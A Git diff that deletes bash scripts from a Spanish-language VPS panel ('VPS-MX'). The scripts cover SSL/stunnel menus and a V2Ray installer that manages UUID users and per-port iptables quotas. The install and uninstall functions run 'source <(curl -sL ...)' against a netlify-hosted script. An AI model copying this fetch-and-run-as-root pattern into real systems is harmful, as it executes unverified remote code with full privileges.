- service dropbear restart &>/dev/null
- for port in $(cat /etc/VPS-MX/PortPD.log| grep -v "nobody" |cut -d' ' -f1)
- do
- PIDVRF3="$(ps aux|grep pydic-"$port" |grep -v grep|awk '{print $2}')"
- if [[ -z $PIDVRF3 ]]; then
- screen -dmS pydic-"$port" python /etc/VPS-MX/protocolos/python.py "$port"
- else
- for pid in $(echo $PIDVRF3); do
- echo ""
- done
- fi
- done
- else
- msg -bar
- echo -e "${cor[3]} SSL/TLS NO INSTALADO \e[0m"
- msg -bar
- fi
- }
- #
- 
- clear
- if netstat -tnlp |grep 'stunnel4' &>/dev/null || netstat -tnlp |grep 'stunnel' &>/dev/null; then
- stunel="\e[32m[ ON ]"
- else
- stunel="\e[31m[ OFF ]"
- fi
- msg -bar
- msg -bar3
- msg -tit
- echo -e "       \e[91m\e[43mINSTALADOR MULTI SSL\e[0m "
- msg -bar
- echo -e "$(msg -verd "[1]")$(msg -verm2 "➛ ")$(msg -azu "INICIAR || DETENER SSL") $stunel"
- echo -e "$(msg -verd "[2]")$(msg -verm2 "➛ ")$(msg -azu "AGREGAR + PUERTOS SSL")"
- msg -bar
- echo -e "$(msg -verd "[3]")$(msg -verm2 "➛ ")$(msg -azu "SSL+Python Auto-Config 80➮443    ")"
- echo -e "$(msg -verd "[4]")$(msg -verm2 "➛ ")$(msg -azu "\e[1;31mDETENER SERVICIO SSL+Python")"
- msg -bar
- echo -e "$(msg -verd "[5]")$(msg -verm2 "➛ ")$(msg -azu "CERTIFICADO SSL/TLS")"
- msg -bar
- echo -ne "\033[1;37mSelecione Una Opcion [0/5]: "
- read opcao
- case $opcao in
- 1)
- msg -bar
- ssl_stunel
- ;;
- 2)
- msg -bar
- ssl_stunel_2
- sleep 3
- exit
- ;;
- 3)
- sslpython
- exit
- ;;
- 4) unistall ;;
- 5)
- clear
- msg -bar
- echo -e "	\e[91m\e[43mCERTIFICADO SSL/TLS\e[0m"
- msg -bar
- echo -e "$(msg -verd "[1]")$(msg -verm2 "➛ ")$(msg -azu "CERTIFICADO ZIP DIRECTO \e[31m(\e[32mEstricto\e[31m)")"
- echo -e "$(msg -verd "[2]")$(msg -verm2 "➛ ")$(msg -azu "CERTIFICADO MANUAL ZEROSSL \e[31m(\e[32mAvanzado\e[31m)")"
- echo -e "$(msg -verd "[3]")$(msg -verm2 "➛ ")$(msg -azu "CERTIFICADO MANUAL ZEROSSL \e[31m(\e[32mPrincipiantes\e[31m)")"
- msg -bar
- echo -ne "\033[1;37mSelecione Una Opcion [0/4]: "
- read opc
- case $opc in
- 1)
- certif
- exit
- ;;
- 2)
- certificadom
- exit
- ;;
- 3)
- certifica2
- exit
- ;;
- esac
- ;;
- esac 

+ 0 - 500
SCRIPT-v8.5x Mod/VPS-MX/protocolos/v2ray.sh

@@ -1,500 +0,0 @@
-#!/bin/bash
- #25/01/2021 by @Kalix1
- clear
- clear
- SCPdir="/etc/VPS-MX"
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
- SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
- err_fun () {
-      case $1 in
-      1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      2)msg -verm "$(fun_trans "Nombre muy corto (MIN: 2 CARACTERES)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      3)msg -verm "$(fun_trans "Nombre muy grande (MAX: 5 CARACTERES)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      4)msg -verm "$(fun_trans "Contraseña Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      5)msg -verm "$(fun_trans "Contraseña muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      6)msg -verm "$(fun_trans "Contraseña muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      8)msg -verm "$(fun_trans "Duracion invalida utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      9)msg -verm "$(fun_trans "Duracion maxima y de un año")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      13)msg -verm "$(fun_trans "Limite maximo de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      14)msg -verm "$(fun_trans "Usuario Ya Existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 	 15)msg -verm "$(fun_trans "(Solo numeros) GB = Min: 1gb Max: 1000gb")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 	 16)msg -verm "$(fun_trans "(Solo numeros)")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
- 	 17)msg -verm "$(fun_trans "(Sin Informacion - Para Cancelar Digite CRTL + C)")"; sleep 4s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
-      esac
- }
- intallv2ray () {
- apt install python3-pip -y 
- source <(curl -sL https://multi.netlify.app/v2ray.sh)
- msg -ama "$(fun_trans "Intalado con Exito")!"
- USRdatabase="/etc/VPS-MX/RegV2ray"
- [[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
- sort ${USRdatabase} | uniq > ${USRdatabase}tmp
- mv -f ${USRdatabase}tmp ${USRdatabase}
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- 
- }
- protocolv2ray () {
- msg -ama "$(fun_trans "Escojer opcion 3 y poner el dominio de nuestra IP")!"
- msg -bar
- v2ray stream
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- tls () {
- msg -ama "$(fun_trans "Activar o Desactivar TLS")!"
- msg -bar
- v2ray tls
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- portv () {
- msg -ama "$(fun_trans "Cambiar Puerto v2ray")!"
- msg -bar
- v2ray port
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- stats () {
- msg -ama "$(fun_trans "Estadisticas de Consumo")!"
- msg -bar
- v2ray stats
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- unistallv2 () {
- source <(curl -sL https://multi.netlify.app/v2ray.sh) --remove > /dev/null 2>&1
- rm -rf /etc/VPS-MX/RegV2ray > /dev/null 2>&1
- echo -e "\033[1;92m                  V2RAY REMOVIDO OK "
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- infocuenta () {
- v2ray info
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- addusr () {
- clear 
- clear
- msg -bar
- msg -tit
- msg -ama "             AGREGAR USUARIO | UUID V2RAY"
- msg -bar
- ##DAIS
- valid=$(date '+%C%y-%m-%d' -d " +31 days")		  
- ##CORREO		  
- MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10)
- ##ADDUSERV2RAY		  
- UUID=`uuidgen`	  
- sed -i '13i\           \{' /etc/v2ray/config.json
- sed -i '14i\           \"alterId": 0,' /etc/v2ray/config.json
- sed -i '15i\           \"id": "'$UUID'",' /etc/v2ray/config.json
- sed -i '16i\           \"email": "'$MAILITO'@gmail.com"' /etc/v2ray/config.json
- sed -i '17i\           \},' /etc/v2ray/config.json
- echo ""
- while true; do
- echo -ne "\e[91m >> Digita un Nombre: \033[1;92m"
-      read -p ": " nick
-      nick="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')"
-      if [[ -z $nick ]]; then
-      err_fun 17 && continue
-      elif [[ "${#nick}" -lt "2" ]]; then
-      err_fun 2 && continue
-      elif [[ "${#nick}" -gt "5" ]]; then
-      err_fun 3 && continue
-      fi
-      break
- done
- echo -e "\e[91m >> Agregado UUID: \e[92m$UUID "
- while true; do
-      echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser
-      if [[ -z "$diasuser" ]]; then
-      err_fun 17 && continue
-      elif [[ "$diasuser" != +([0-9]) ]]; then
-      err_fun 8 && continue
-      elif [[ "$diasuser" -gt "360" ]]; then
-      err_fun 9 && continue
-      fi 
-      break
- done
- #Lim
- [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
- valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days")
- echo -e "\e[91m >> Expira el : \e[92m$datexp "
- ##Registro
- echo "  $UUID | $nick | $valid " >> /etc/VPS-MX/RegV2ray
- Fecha=`date +%d-%m-%y-%R`
- cp /etc/VPS-MX/RegV2ray /etc/VPS-MX/v2ray/RegV2ray-"$Fecha"
- v2ray restart > /dev/null 2>&1
- echo ""
- v2ray info > /etc/VPS-MX/v2ray/confuuid.log
- lineP=$(sed -n '/'${UUID}'/=' /etc/VPS-MX/v2ray/confuuid.log)
- numl1=4
- let suma=$lineP+$numl1
- sed -n ${suma}p /etc/VPS-MX/v2ray/confuuid.log 
- echo ""
- msg -bar
- echo -e "\e[92m           UUID AGREGEGADO CON EXITO "
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- 
- delusr () {
- clear 
- clear
- invaliduuid () {
- msg -bar
- echo -e "\e[91m                    UUID INVALIDO \n$(msg -bar)"
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- msg -bar
- msg -tit
- msg -ama "             ELIMINAR USUARIO | UUID V2RAY"
- msg -bar
- echo -e "\e[97m               USUARIOS REGISTRADOS"
- echo -e "\e[33m$(cat /etc/VPS-MX/RegV2ray|cut -d '|' -f2,1)" 
- msg -bar
- echo -ne "\e[91m >> Digita el UUID a elininar:\n \033[1;92m " && read uuidel
- [[ $(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json|head -1) ]] || invaliduuid
- lineP=$(sed -n '/'${uuidel}'/=' /etc/v2ray/config.json)
- linePre=$(sed -n '/'${uuidel}'/=' /etc/VPS-MX/RegV2ray)
- sed -i "${linePre}d" /etc/VPS-MX/RegV2ray
- numl1=2
- let resta=$lineP-$numl1
- sed -i "${resta}d" /etc/v2ray/config.json
- sed -i "${resta}d" /etc/v2ray/config.json
- sed -i "${resta}d" /etc/v2ray/config.json
- sed -i "${resta}d" /etc/v2ray/config.json
- sed -i "${resta}d" /etc/v2ray/config.json
- v2ray restart > /dev/null 2>&1
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- 
- mosusr_kk() {
- clear 
- clear
- msg -bar
- msg -tit
- msg -ama "         USUARIOS REGISTRADOS | UUID V2RAY"
- msg -bar
- # usersss=$(cat /etc/VPS-MX/RegV2ray|cut -d '|' -f1)
- # cat /etc/VPS-MX/RegV2ray|cut -d'|' -f3
- VPSsec=$(date +%s)
- local HOST="/etc/VPS-MX/RegV2ray"
- local HOST2="/etc/VPS-MX/RegV2ray"
- local RETURN="$(cat $HOST|cut -d'|' -f2)"
- local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
- if [[ -z $RETURN ]]; then
- echo -e "----- NINGUN USER REGISTRADO -----"
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- 
- else
- i=1
- echo -e "\e[97m                 UUID                | USER | EXPIRACION \e[93m"
- msg -bar
- while read hostreturn ; do
- DateExp="$(cat /etc/VPS-MX/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f3)"
- if [[ ! -z $DateExp ]]; then             
- DataSec=$(date +%s --date="$DateExp")
- [[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[EXPIRADO]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias"
- else
- EXPTIME="\e[91m[ S/R ]"
- fi 
- usris="$(cat /etc/VPS-MX/RegV2ray|grep -w "$hostreturn"|cut -d'|' -f2)"
- local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n"           
-       if [[ $i -gt 30 ]]; then
- 	      echo -e "$contador_secuencial"
- 	  unset contador_secuencial
- 	  unset i
- 	  fi
- let i++
- done <<< "$IDEUUID"
- 
- [[ ! -z $contador_secuencial ]] && {
- linesss=$(cat /etc/VPS-MX/RegV2ray | wc -l)
- 	      echo -e "$contador_secuencial \n Numero de Registrados: $linesss"
- 	}
- fi
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- lim_port () {
- clear 
- clear
- msg -bar
- msg -tit
- msg -ama "          LIMITAR MB X PORT | UUID V2RAY"
- msg -bar
- ###VER
- estarts () {
- VPSsec=$(date +%s)
- local HOST="/etc/VPS-MX/v2ray/lisportt.log"
- local HOST2="/etc/VPS-MX/v2ray/lisportt.log"
- local RETURN="$(cat $HOST|cut -d'|' -f2)"
- local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
- if [[ -z $RETURN ]]; then
- echo -e "----- NINGUN PUERTO REGISTRADO -----"
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- else
- i=1
- while read hostreturn ; do
- iptables -n -v -L > /etc/VPS-MX/v2ray/data1.log 
- statsss=$(cat /etc/VPS-MX/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5)
- gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2)
- local contador_secuencial+="         \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB  \n"          
-       if [[ $i -gt 30 ]]; then
- 	      echo -e "$contador_secuencial"
- 	  unset contador_secuencial
- 	  unset i
- 	  fi
- let i++
- done <<< "$IDEUUID"
- 
- [[ ! -z $contador_secuencial ]] && {
- linesss=$(cat /etc/VPS-MX/v2ray/lisportt.log | wc -l)
- 	      echo -e "$contador_secuencial \n Puertos Limitados: $linesss"
- 	}
- fi
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh 
- }
- ###LIM
- liport () {
- while true; do
-      echo -ne "\e[91m >> Digite Port a Limitar:\033[1;92m " && read portbg
-      if [[ -z "$portbg" ]]; then
-      err_fun 17 && continue
-      elif [[ "$portbg" != +([0-9]) ]]; then
-      err_fun 16 && continue
-      elif [[ "$portbg" -gt "1000" ]]; then
-      err_fun 16 && continue
-      fi 
-      break
- done
- while true; do
-      echo -ne "\e[91m >> Digite Cantidad de GB:\033[1;92m " && read capgb
-      if [[ -z "$capgb" ]]; then
-      err_fun 17 && continue
-      elif [[ "$capgb" != +([0-9]) ]]; then
-      err_fun 15 && continue
-      elif [[ "$capgb" -gt "1000" ]]; then
-      err_fun 15 && continue
-      fi 
-      break
- done
- uml1=1073741824
- gbuser="$capgb"
- let multiplicacion=$uml1*$gbuser
- sudo iptables -I OUTPUT -p tcp --sport $portbg -j DROP
- sudo iptables -I OUTPUT -p tcp --sport $portbg -m quota --quota $multiplicacion -j ACCEPT
- iptables-save > /etc/iptables/rules.v4
- echo ""
- echo -e " Port Seleccionado: $portbg | Cantidad de GB: $gbuser"
- echo ""
- echo " $portbg | $gbuser | $multiplicacion " >> /etc/VPS-MX/v2ray/lisportt.log 
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- ###RES
- resdata () {
- VPSsec=$(date +%s)
- local HOST="/etc/VPS-MX/v2ray/lisportt.log"
- local HOST2="/etc/VPS-MX/v2ray/lisportt.log"
- local RETURN="$(cat $HOST|cut -d'|' -f2)"
- local IDEUUID="$(cat $HOST|cut -d'|' -f1)"
- if [[ -z $RETURN ]]; then
- echo -e "----- NINGUN PUERTO REGISTRADO -----"
- return 0
- else
- i=1
- while read hostreturn ; do
- iptables -n -v -L > /etc/VPS-MX/v2ray/data1.log 
- statsss=$(cat /etc/VPS-MX/v2ray/data1.log|grep -w "tcp spt:$hostreturn quota:"|cut -d' ' -f3,4,5)
- gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$hostreturn"|cut -d'|' -f2)
- local contador_secuencial+="         \e[97mPUERTO: \e[93m$hostreturn \e[97m|\e[93m$statsss \e[97m|\e[93m $gblim GB  \n"  
-         
-       if [[ $i -gt 30 ]]; then
- 	      echo -e "$contador_secuencial"
- 	  unset contador_secuencial
- 	  unset i
- 	  fi
- let i++
- done <<< "$IDEUUID"
- 
- [[ ! -z $contador_secuencial ]] && {
- linesss=$(cat /etc/VPS-MX/v2ray/lisportt.log | wc -l)
- 	      echo -e "$contador_secuencial \n Puertos Limitados: $linesss"
- 	}
- fi
- msg -bar
- 
- while true; do
-      echo -ne "\e[91m >> Digite Puerto a Limpiar:\033[1;92m " && read portbg
-      if [[ -z "$portbg" ]]; then
-      err_fun 17 && continue
-      elif [[ "$portbg" != +([0-9]) ]]; then
-      err_fun 16 && continue
-      elif [[ "$portbg" -gt "1000" ]]; then
-      err_fun 16 && continue
-      fi 
-      break
- done
- invaliduuid () {
- msg -bar
- echo -e "\e[91m                PUERTO INVALIDO \n$(msg -bar)"
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- }
- [[ $(sed -n '/'${portbg}'/=' /etc/VPS-MX/v2ray/lisportt.log|head -1) ]] || invaliduuid
- gblim=$(cat /etc/VPS-MX/v2ray/lisportt.log|grep -w "$portbg"|cut -d'|' -f3)
- sudo iptables -D OUTPUT -p tcp --sport $portbg -j DROP
- sudo iptables -D OUTPUT -p tcp --sport $portbg -m quota --quota $gblim -j ACCEPT
- iptables-save > /etc/iptables/rules.v4
- lineP=$(sed -n '/'${portbg}'/=' /etc/VPS-MX/v2ray/lisportt.log)
- sed -i "${linePre}d" /etc/VPS-MX/v2ray/lisportt.log
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh 
- }
- ## MENU
- echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "LIMITAR DATA x PORT") "
- echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "RESETEAR DATA DE PORT") "
- echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "VER DATOS CONSUMIDOS") "
- echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
- msg -bar
- selection=$(selection_fun 3)
- case ${selection} in
- 1)liport ;;
- 2)resdata;;
- 3)estarts;;
- 0)
- ${SCPinst}/v2ray.sh
- ;;
- esac
- }
- 
- limpiador_activador () {
- unset PIDGEN
- PIDGEN=$(ps aux|grep -v grep|grep "limv2ray")
- if [[ ! $PIDGEN ]]; then
- screen -dmS limv2ray watch -n 21600 limv2ray
- else
- #killall screen
- screen -S limv2ray -p 0 -X quit
- fi
- unset PID_GEN
- PID_GEN=$(ps x|grep -v grep|grep "limv2ray")
- [[ ! $PID_GEN ]] && PID_GEN="\e[91m [ DESACTIVADO ] " || PID_GEN="\e[92m [ ACTIVADO ] "
- statgen="$(echo $PID_GEN)"
- clear 
- clear
- msg -bar
- msg -tit
- msg -ama "          ELIMINAR EXPIRADOS | UUID V2RAY"
- msg -bar
- echo ""
- echo -e "                    $statgen " 
- echo "" 						
- msg -bar
- msg -ne "Enter Para Continuar" && read enter
- ${SCPinst}/v2ray.sh
- 
- }
- 
- selection_fun () {
- local selection="null"
- local range
- for((i=0; i<=$1; i++)); do range[$i]="$i "; done
- while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do
- echo -ne "\033[1;37m$(fun_trans " ► Selecione una Opcion"): " >&2
- read selection
- tput cuu1 >&2 && tput dl1 >&2
- done
- echo $selection
- }
- 
- PID_GEN=$(ps x|grep -v grep|grep "limv2ray")
- [[ ! $PID_GEN ]] && PID_GEN="\e[91m [ OFF ] " || PID_GEN="\e[92m [ ON ] "
- statgen="$(echo $PID_GEN)"
- SPR & 
- msg -bar3
- msg -bar
- msg -tit
- echo -e "        \e[91m\e[43mINSTALADOR DE V2RAY\e[0m"
- msg -bar
- ## INSTALADOR
- echo -e "$(msg -verd "[1]")$(msg -verm2 " ➛ ")$(msg -azu "INSTALAR V2RAY ") "
- echo -e "$(msg -verd "[2]")$(msg -verm2 " ➛ ")$(msg -azu "CAMBIAR PROTOCOLO ") "
- echo -e "$(msg -verd "[3]")$(msg -verm2 " ➛ ")$(msg -azu "ACTIVAR TLS ") "
- echo -e "$(msg -verd "[4]")$(msg -verm2 " ➛ ")$(msg -azu "CAMBIAR PUERTO V2RAY ")"
- msg -bar
- ## CONTROLER
- echo -e "$(msg -verd "[5]")$(msg -verm2 " ➛ ")$(msg -azu "AGREGAR USUARIO UUID ")"
- echo -e "$(msg -verd "[6]")$(msg -verm2 " ➛ ")$(msg -azu "ELIMINAR USUARIO UUID ")"
- echo -e "$(msg -verd "[7]")$(msg -verm2 " ➛ ")$(msg -azu "MOSTAR USUARIOS REGISTRADOS ")"
- echo -e "$(msg -verd "[8]")$(msg -verm2 " ➛ ")$(msg -azu "INFORMACION DE CUENTAS ")"
- echo -e "$(msg -verd "[9]")$(msg -verm2 " ➛ ")$(msg -azu "ESTADISTICAS DE CONSUMO ")"
- echo -e "$(msg -verd "[10]")$(msg -verm2 "➛ ")$(msg -azu "LIMITADOR POR CONSUMO ")\e[91m ( BETA x PORT )"
- echo -e "$(msg -verd "[11]")$(msg -verm2 "➛ ")$(msg -azu "LIMPIADOR DE EXPIRADOS ------- $statgen ")"
- msg -bar
- ## DESISNTALAR
- echo -e "$(msg -verd "[12]")$(msg -verm2 "➛ ")$(msg -azu "\033[1;31mDESINSTALAR V2RAY ")"
- echo -e "$(msg -verd "[0]") $(msg -verm2 "➛ ")$(msg -azu "\e[97m\033[1;41m VOLVER \033[1;37m ")"
- msg -bar
- pid_inst () {
- [[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0
- unset portas
- portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND")
- i=0
- while read port; do
- var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ "$(echo -e ${portas[@]}|grep "$var1 $var2")" ]] || {
-     portas[$i]="$var1 $var2\n"
-     let i++
-     }
- done <<< "$portas_var"
- [[ $(echo "${portas[@]}"|grep "$1") ]] && echo -e "\033[1;32m[ Servicio ON ]" || echo -e "\033[1;31m[ Servicio OFF ]"
- }
- echo -e "         \e[97mEstado actual: $(pid_inst v2ray)"
- msg -bar
- # while [[ ${arquivoonlineadm} != @(0|[1-99]) ]]; do
- # read -p "Seleccione una Opcion [0-12]: " arquivoonlineadm
- # tput cuu1 && tput dl1
- # done
- selection=$(selection_fun 18)
- case ${selection} in
- 1)intallv2ray;;
- 2)protocolv2ray;;
- 3)tls;;
- 4)portv;;
- 5)addusr;;
- 6)delusr;;
- 7)mosusr_kk;;
- 8)infocuenta;;
- 9)stats;;
- 10)lim_port;;
- 11)limpiador_activador;;
- 12)unistallv2;;
- 0)exit;;
- esac 

+ 0 - 1
SCRIPT-v8.5x Mod/Version

@@ -1 +0,0 @@
-8.6x

Неке датотеке нису приказане због велике количине промена